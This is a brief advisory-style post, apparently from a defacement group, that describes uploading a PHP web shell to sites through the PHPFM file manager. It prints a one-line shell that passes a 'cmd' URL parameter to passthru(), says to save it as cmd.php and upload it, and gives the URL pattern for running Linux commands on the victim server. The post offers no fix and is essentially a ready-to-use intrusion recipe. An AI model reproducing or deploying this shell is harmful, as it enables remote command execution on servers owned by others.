upload phpshell in PHPFM

[GeekZ () securityfocus com, "[at]"@securityfocus.com, WorldDefacers () securityfocus com, "[d0t]"@securityfocus.com, NeT () securityfocus com]

upload phpshell in PHPFM

discovered by rUnViRuS

www.worlddefacers.net
www.security-arab.com
=-=-=-=-=-=-=-=-=
the code shell :-
---------------
<pre>
<?
passthru($_GET['cmd']);
?>>

save as > cmd.php
now upload in PHPFM
=-=-=-=
Used Shell
=-=-=-=
www.site.com/[file upload name]/[files]/cmd.php?cmd=[command linux]

=-=-=-==-=-=-==-=-=-==-=-=-==-=-=-==-=-=-=